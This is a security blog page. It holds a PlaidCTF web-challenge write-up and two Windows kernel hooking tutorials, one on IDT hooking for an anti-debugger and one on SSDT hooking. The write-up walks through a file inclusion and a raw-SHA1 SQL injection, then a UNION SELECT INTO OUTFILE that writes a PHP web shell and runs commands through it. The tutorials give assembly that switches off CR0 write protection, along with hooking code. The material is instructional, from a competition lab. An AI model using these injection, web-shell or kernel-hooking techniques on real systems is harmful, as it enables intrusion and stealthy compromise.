/sleep 51840000

Yop,
I’m overwhelmed by the studies so i won’t have a lot of time to spend for computer science in the next two years.
However i’m still available for replying comments, questions, and i will post broader articles in next monthes.
Thanks to all my friends for visiting this website and see you soon.
Shp

[Write-Up] SHA1 is fun – PlaidCTF – Bazooka Method

This week-end I did the PlaidCTF with Zenk-Security.
It was quite fun and there was a lot of challenges in all categories.

I begun straight on the first opened web challenge. I rather found it cool even if I’ve wasted a lot of time on it. The number of validations was not very high that is why the organisation has even hesitated to give a hint.
Edit: At the beginning quotes did not work (they got some problem with the challenge so they took off the htmlentities :s) so i resolved the challenge in another way as it could (should) have been, with sha1 in raw data

We get a page:
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index
We quickly notice the Local File Inclusion (LFI) because
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/../pages/index
prints the good page.

Moreover we find out that
http://a11.club.cc.cmu.edu:32065/pages/index
gives us the source code of index because of the extension missing (index is a file and not a directory).

<?php
 
if(!empty($_POST['username']) &#038;& !empty($_POST['password']))
{
	$password = sha1($_POST['password'], true);
	$username = htmlspecialchars($_POST['username']);
 
	$db = mysql_connect("localhost", "problem1", "css7UjBmevbm");
	mysql_select_db("problem1",$db);
	$rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\"");
 
	if(mysql_num_rows($rs) <= 0)
		echo 'Wrong username/password.';
	else
		echo "Welcome {$_POST['username']}.";
}
?>
<form method="post">
	Username:
<input maxlength="10" name="username" type="textbox" />
 
	Password:
<input maxlength="10" name="password" type="textbox" />
<input name="submit" type="submit" />
</form>
 
Notices:
 
This system is now using the advanced SHA1 encryption function. Call the helpdesk if you need to change your password.

My brain showed TILT.

$password = sha1($_POST['password'], true);

Indeed I had already made a challenge in this kind in the Leetmore CTF (Oh Those Admins).

Except that here, we had to act otherwise, let me explain.
Here is the request:

$rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\"");

The second sha1() argument set to true means that we get the raw data and not the hexadecimal hash corresponding. Thus if we got a password which its sha1 contains or ends with a backslash “\”, we will be able to control username (OR 1=1 — ) and do whatever we want, because the request will be:

SELECT * FROM authtable WHERE password = "RawData\" AND username = " OR 1=1 -- "

Therefore we implements a php counter (for loop) that sha1 all numbers and we look for a backslash as last character.

<?php
 
for($i = 1; $i <= 2000000; $i++) {
	$hash = sha1($i);
	if(substr($hash, 38, 2) == "5c")  { // 5c == '\'
		echo $i." - ";
		die(sha1($i, true));
	}
}
 
die("fin");
?>

sha1(17, true) contains a backslash as last character, parfait!

We put OR 1=1 — in username field and 17 in password:

If we replace by OR 1=2 it does not work (Wrong username/password).

We have thus a blind sql injection.
The challenge had some problem in the first hours so I thought quotes did not work and I begun to bruteforce the whole database thanks to information_schema, in vain (the Bazooka method).

I also bruteforced problem1.php file in order to find a key with my friend Kr0ch0u. It was very long but we could get an interesting part of the code:

$path = realpath($_REQUEST['p']);
(strpos($path, "pages") !== false) or die("Invalid page.");

We learn that the path in p variable must contain “pages”.
Once I realized quotes really worked, I tried to settle a backdoor in /tmp directory (writeable), helped by nico34 and kr0ch0u. We had to put in username field::

UNION SELECT "<?php system($_GET['cmd']); ?>",2,3,4 INTO OUTFILE "/tmp/pages202"+--+

At last thanks to the LFI we got this fu***g key.
http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=ls%20/
bin boot dev etc home initrd.img key lib lib64 lost+found media mnt opt proc root sbin selinux srv sys tmp usr var vmlinuz 2 3 4

http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=cat%20/key
IAMAMYSQLBITCH!! 2 3 4

Prologin, Twitter and state of the blog.

You can follow me on twitter.
I did not choose to translate this article in English. You can use google translation.

[r00tkit] Interrupts, hook and bypass: the case of an efficient anti-debugger!

Program source code: ici

We are going to see the way of creating the most efficient anti-debugger! Yes it prevents the target system from dynamic analyzis (not static). Thus we cannot set breakpoints anymore, do step by step or start a program from a debugger. You probably wonder how this is possible ?

All notions explained there are essential to make a process filter in an interrupt handler (next article).

If you feel at ease with interrupts, you can go straight at part II.

I need to thank especially Mysterie who gave me a hand during the development of my program. You can have a look at his (french) website. I also thank Alex_I who gave me some advice on freenode.

I/ Interrupt Descriptor Table (IDT) and interrupts

1. Basic notions

An interrupt stop shortly or definitively the normal execution of a program in order to execute another code called interrupt handler (or ISR for Interrupt Service Routine). The ISR address is stored in the IDT. For instance when a program try to write at a bad address, an interrupt handler is started to fix the problem if it is possible.

On 32-bits Intel processors, number 32 to 255 interrupts are defined by the operating system (user defined), they are called maskable interrupts. Non-Maskable Interrupts (NMI) cannot be disabled easily and they are pre-defined. It is those that have the highest priority. On the other hand, maskable interrupts are disabled when IF flag is set to 0.

There are two kind of interrupts: first ones are asynchronous and are called hardware interrupts or external interrupts. They are triggered by an external event (keyboard, serial port etc.). For example if you plug in a peripheral to a computer port, an ISR will be started. There is also synchronous interrupts which are called when an instruction provokes an error (division by zero, illegal memory access). They can be called voluntarily by the program too (explication in next paragraph). This second sort of interrupt is called exception.

An exception can be split in three categories: traps, faults and aborts.

  • A fault is an exception which does not always end up the program: the problem can be fixed. Once this error fixed, the program restart from the instruction that caused the error. For instance, if the program attempt to access an invalid virtual memory page, the operating system will try to allocate this page and will start again the instruction responsible for the error.
  • A trap is an exception that, after the interrupt handler execution, will resume the program from the instruction just after the one which caused the exception (wow!). For instance, after a breakpoint (int 3), we have better not to continue the program execution from the instruction which provoked the breakpoint – \xcc – because we would fall in an infinite breakpoints loop.
  • Aborts are exceptions which interrupts definitively the program (i.g. incorrect addresses in the SSDT).

You will also meet the term of software interrupt. They are exceptions that are called voluntarily by the process via an instruction: system calls are a good example since they are called voluntarily by the program thanks to \x2E instruction (see the previous article about the SSDT, even if syscalls are now called on latest systems by SYSENTER).

The interrupt number 3 (breakpoint) is also a software interrupt: it is called by \xCC instruction.

To call an interrupt handler in assembler, we use « int n » instruction where n is the number of the interrupt handler.

We have to notice that there is only one IDT per microprocessor. Namely if the target computer uses a quad core, we will have to hook the four IDTs! But in this article we will only hook a single core because hooking a lot of cores is unexciting, except it could help scripts kiddies with a beautiful POC.

At last, there are priority levels we call IRQL (Interrupt ReQuest Level). In this way, an interrupt can be triggered in another interrupt only if its IRQL is greater than the one of the current interrupt. The lowest IRQL is called PASSIVE LEVEL. It is the one used by all user-mode processes and a lot of ring0 functions like DriverEntry. IRQLs have been designed in order not to disable all interrupts everytime via cli instruction because some cannot wait. For more information about IRQLs I advise you to click on this  link.

To see all addresses in the IDT, WinDBG offers us « !idt -a » command. To disassemble an interrupt handler: « uf Kitrap03 » for example for the number 3.

2. Breakpoints and interrupts used for debugging

Both interesting interrupts in this paper are the traps int 1 and int3. The second, the most famous, allows a debugger to set a software breakpoint. You certainlty wonder how it works.

a) Breakpoints

\xcc opcode calls number 3 ISR. Thus to set breakpoints, debuggers overwrite the instruction chosen by the user – i.e. the place of the program where the user set the breakpoint -, by \xcc opcode, at the start of the program, after having saved the overwritten instruction. More precisely we only save one byte. When the program is started from the debugger, the microprocessor handles each instruction and, when current instruction is \xcc, it switches to the interrupt handler number 3. Once this one is over – that is to say when the user choose to resume the program -, the debugger replaces the \xcc byte by the original byte it had saved before and the program do not suspect anything! Obviously it replaces at once the same byte in memory by \xcc in order to keep the breakpoint.

On the other hand, we have to distinguish software breakpoints we just explained from hardware breakpoints whereby microprocessor gives us a hand: we write an address in the Debug Registers DR0, DR1, DR2 and/or DR3.

In this way, each time the debugged process attempts to read, write or execute on of these addresses, int1 is started and not the ISR number 3. Following paragraphs give more details on this topic.

Notwithstanding, hardware breakpoints have a drawback: they are limited to 4 on x86 processors in opposition to software breakpoints which have no numerical limit except the number of instructions in the debugged process memory.

b) Interrupt 1 and Debug Registers

Int 1 is used in a lot of debug cases in constrast with int3. According to what it must do, int1 behaves either like a trap or like a fault. DR6 and DR7 Debug Registers allow the interrupt to specify what int1 must do. We can also notice that DR4 and DR5 are absolutely useless. Let’s remember that the purpose of DR0, DR1, DR2 and DR3 is to store addresses for hardware breakpoints.

Here is an extract from volume 3A in Intel manual which illustrates the tasks that int1 can achieve:

These tasks are based on the value of DR6 and DR7 bits:

To sum up, int 1 is used for step by step, hardware breakpoints, problems linked to Debug Registers access and stack breakpoints.

I will not extend to all of these points because they are well documented in Intel manual. However I am going to explain step by step mode: when TF flag – contained in EFLAGS register – is set to 1, that means that step by step is enable. So at the end of each instruction – except the one which caused the TF modification – int 1 is triggered. We can in this way have a look at all registers and at the stack after each instruction from a debugger.

II/ Hooking

This part comments  the source code of my program.

1. Get the IDT address

sidt instruction returns the following IDTINFO structure:

typedef struct {
WORD IDTLimit;
WORD LowIDTbase;
WORD HiIDTbase;
} IDTINFO;

LowIDTbase corresponds to the two lowest bytes of the IDT address.
HiIDTbase corresponds to the two highest bytes of the IDT address.
If we add IDTLimit to the IDT address, we have the address of the last byte of the IDT.
To get the full address (4 bytes) of the IDT (LowIDTbase + HiIDTbase) we will use the next macro:

#define MAKELONG(a, b)((LONG) (((WORD)(a)) | ((DWORD)((WORD)(b))) << 16))

“a” argument corresponds to the lowest bytes and “b” to the highest bytes of the ISR address. Let’s take a = 0×1234 and b = 0xFFFF, we have to obtain 0xFFFF1234 address. b variable is casted on 4 bytes then is shifted to 16 bits to the left, therefore 0xFFFF becomes 0xFFFF0000. In binary: 11111111 11111111 is shifted to the left after a 32 bits cast so it becomes 11111111 11111111 00000000 00000000.

We now apply an OR filter with the lowest bytes. In binary, 0×1234 = 00010010 00110100. We make a DWORD cast to get the equivalent on 32 bits, so 0×1234 becomes 00000000 00000000 00010010 00110100.

With OR filter,
00000000 00000000 00010010 00110100
OR 11111111 11111111 00000000 00000000
= 11111111 11111111 00010010 00110100
that corresponds to 0xFFFF1234.

We have now the IDT address.

2. ISR address overwriting

The IDT is an array of structures declared like this:

typedef struct {
WORD LowOffset;
WORD selector;
BYTE unused_lo;
unsigned char unused_hi:5; // stored TYPE ?
unsigned char DPL:2;
unsigned char P:1; // vector is present
WORD HiOffset;
} IDTENTRY;

To get the interrupt handler address we will implement MAKELONG macro on LowOffset and HiOffset as before.

To modify the ISR address we will also alter LowOffset and HiOffset. I designed MAKELOW and MAKEHIGH macros which are the reciprocal of MAKELONG macro. If you have well understood the theorical working of this MAKELONG, you will not meet any problem with the others that is why I send you to read the program source code to see how they work.

We can now hook an ISR in the IDT so we have to know what an ISR looks like in order to develop our hook function. Indeed a void type function would crash the OS.

III/ Running of an ISR and its inner structure

1. Running of an ISR

Let’s look at what happens when an interrupt is called.
You should have some notions about protected-mode memory pagination so as to understand the rest of the article.

Let’s remember quickly what is a segment and a segment selector. The scheme below split the segment selector bits in three parts. INDEX corresponds to the index of a descriptor in the GDT or in the LDT. If TI is set to 1, it is a LDT index, if TI is 0, it is a GDT index. The GDT and the LDT are both arrays of segment descriptors. RPL corresponds to the privilege level of the segment. This level goes from 0 to 3 and corresponds to the ring level. CS (Code Segment) register contains the selector of the current text segment. Thus CS points to the segment which handles the program instructions and EIP is the offset of the next instruction to execute in this segment. CS:EIP is useful to point out a memory address. The two lowest bytes of CS are not called the RPL but the CPL (Current Privilege Level), i.e. the privilege of the current executed code. There are also DS (Data Segment) register for the data segment selector and SS (Stack Segment) for the stack segment selector and so forth.

The structure of a segment selector (CPL instead RPL for CS):

Entries in the IDT are called Descriptor Gates. Indeed they supply a lot of information to access an ISR like obviously its address (segment selector + offset) or even the required privileges. We distinguish the Interrupt Gates from the Trap Gates and from the Task Gates, all these ones being possible cases of Descriptor Gate. My program uses IDTENTRY structure to handle them. We have to notice that Task Gates are not used on Windows except for the number 2 and 8 interrupts which are very close to the hardware that is why I chose not to introduce them here because I should define far too many new notions like taks and TSS that are a little off-board compared to our main thread which is to create an anti-debugger.

If the microprocessor deals with an Interrupt Gate or a Trap Gate, there are two possibilities:
DPL corresponds to the required privilege level to execute the ISR; it is supplied by the Descriptor Gate. If the DPL and the CPL are different, namely if the original program and the interrupt have a different privilege level, un stack changement occurs. This check is real only if the interrupts are started from the INT, INT3 or INTO instructions.
On the other hand if the CPL is the same than the DPL, the program stack is shared.

Same stack

  • EFLAGS, CS and EIP registers are “pushed” on the stack in this order.
  • Some exceptions add an error code onto the stack. Here is its structure according to the Intel manual:

    Thanks to this error code the interrupt can determine the reason of its being and the place where it has been triggered in the case where there is a specifical link with a memory segment or another interrupt. When EXT bit is set to 1, this means that the error provides from a place outside the program like another interrupt. When IDT is enable, Segment Selector Index points to an IDT entry, i.e. the interrupt has been triggered from another interrupt. In the other case it is the index of a segment located in the GDT or in the LDT; if TI is set to 0, it is the GDT else it is the LDT. If an interrupt is called from the int instruction, no error code will be push whatever the exception is.
  • The text segment selector – located in CS register – is updated and so EIP is. Indeed the new CS is supplied by the Descriptor Date like the ISR offset. Thus the next instruction to execut (namely the first one of the ISR) is pointed by the pair CS:EIP.
  • If the Descriptor Gate of the ISR is an Interrupt Gate, IF flag is set to 0, i.e. it disable maskable interrupts.
  • Then the interrupt handler is executed.

Different stack

  • SS, ESP, EFLAGS, CS, EIP are saved internally.
  • TSS (Task State Segment) includes a pointer to a stack for each privilege level (0, 3). The selector segment and the stack pointer are thus loaded from the current process TSS. The selector of the TSS segment is located in TR (Task Register).
  • SS, ESP, EFLAGS, CS and EIP are pushed onto the stack in this order.
  • Then it is like for the same stack (error code, update of CS and EIP, IF, then interrupt handler execution).

2. ISR skeleton

Therefore RET or RETF instructions do not match to leave an ISR because there is no EFLAGS pop. I remind you that RET pops only the value of EIP and RETF the value of EIP + CS for a far call, i.e. when there is a code segment changement.

We have so to use IRET (16 bits) or rather its 32 bits equivalent which is IRETD, to leave an ISR properly. In this way EFLAGS is poped and recovers its value.

At last we must not use a void function for the hook. Indeed the ISR would look like this:

kd> uf f7c444a0
IDTHOOK+0×4a0:
f7c444a0 8bff mov edi,edi
f7c444a2 55 push ebp
f7c444a3 8bec mov ebp,esp
f7c444a5 cf iretd

Great a useless prologue! We could add something like
MOV ESP,EBP
POP EBP

or its equivalent that is LEAVE just before IRETD so that there is no problem in the stack with the EPB push. But it is better to use a naked function with __declspec(naked) type; so the ISR becomes:

kd> uf f7c44490
IDTHOOK+0×490:
f7c44490 cf iretd

Bingo no crash! No more useless EBP.

In the next article we will see a technical to filter the processes from an ISR. See you soon.

Sources:

Hardware interrupts et IRQLs (en)
Interrupts and exceptions (en)
Manual Intel (volume 1 et 3A chapitres 6) (en)
Hardware vs software breakpoints (en)
IRQLs (en)
Debug Exceptions
Debug Registers

[r00tkit] SSDT Hook for dummies

Here I am again with my first tutorial which only focus on kerneland. We will do a simple approach to the System Service Dispatch Table (SSDT) Hook. The SSDT is in fact an array in which are stored all the syscalls addresses. A syscall is a function supplied straight by the kernel (kerneland) and usable by all userland processes. In order to hook a syscall in the SSDT, we will have thus to replace its address in the SSDT by the address of our function.
The syscall we hook in the script will be ZwSetValueKey and will be our main thread all along this article.

The principle

ntoskrnl.exe process exports KeServiceDescriptorTable table hence we will import it. But what does it contain?

typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;

ServiceTableBase is the SSDT address and ParamTableBase the System Service Parameter Table (SSPT) address. The SSPT contains for each function in the SSDT the number of bytes taken in arguments.
Here is a very useful macro for our code:

#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

It allows us to get the address of the place where the address of the _func function in the SSDT is stored since ServiceTableBase (so the SSDT) is an array of addresses.This macro is firstly hardly understandable but WinDbg makes our task easier.
To begin with, we are sure that *(PULONG)((PUCHAR)_func+1) corresponds to the index of _func in the SSDT (between the []).
Let’s see what is hidden at _func+1 therefore at ZwSetValueKey+1 in our case:

kd> u ZwSetValueKey l 1
nt!ZwSetValueKey:
804dda08 b8f7000000      mov     eax,0F7h

Mov inserts 0xF7 value in eax: for each syscall, the first instruction is so:

mov eax, SSDT_INDEX_VALUE

Let’s now try to understand the casts: PULONG is the addresses type (PUCHAR cannot contain addresses such as FFFFFFFF because it is one byte size). The problem with PULONG during incrementation of our function (_func+1) is that _func will be incremented by 4 and not by 1! Indeed when we increments a pointer by 1, it is not incremented by 1 but by 1* sizeof(POINTER_TYPE) and we obviously know that sizeof(unsigned long) is 4. Therefore PUCHAR cast increments the pointer by 1 * sizeof(char) so by 1.

Disable read-only SSDT protection

At last we must know that SSDT writing is by default impossible: it is in most of cases in read-only mode. There are two technicals to modify this protection: one simple and another one less simple. We will choose the simplest one for our script but I will explain in few words how the second one works.

CR0 Trick

The first technical is called CR0 trick: CR0 is a register that when set to 0 disable all SSDT protections.
Here is the assembler script which allows us to disable the protection:

__asm
{
push eax // we save eax
mov  eax, CR0 // we put CR0 value into eax
and  eax, 0FFFEFFFFh // we apply the reverser filter
mov  CR0, eax // we update CR0
pop  eax
}

And to enable it again:

__asm
{
push eax
mov  eax, CR0
or   eax, NOT 0FFFEFFFFh // the reverse operation to get CR0 state as before the hook
mov  CR0, eax
pop  eax // we get the eax save
}

Memory Descriptor List (MDL)

The second technical is the use of MDL which allows our script to describe a part of the memory (here the SSDT) and therefore to modify its properties (here write access). The useful functions are MmCreateMdl, MmBuildMdlForNonPagedPool, MmMapLockedPages and MDL_MAPPED_TO_SYSTEM_VA flag. I have not really understood the interest of this method yet but if you are curious I suggest you to go to check out Ivanlef0u article (french).

Now let us look at my script. Here is its working: he is going to hook ZwSetValueKey function that is used to modify or add values in a specified registry key. My hook function check if the current key is Run or RunOnce; if it is we prevent from writing. In the other case we let the function work normally.
The purpose of this script is to protect the system from malwares that write their path in keys such as HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. It would allow them, if they had the permission, to start up again at each computer reboot.

Links:
The driver which hooks ZwSetValueKey in the SSDT.
Ivanlef0u: SSDT Hook with MDL (french)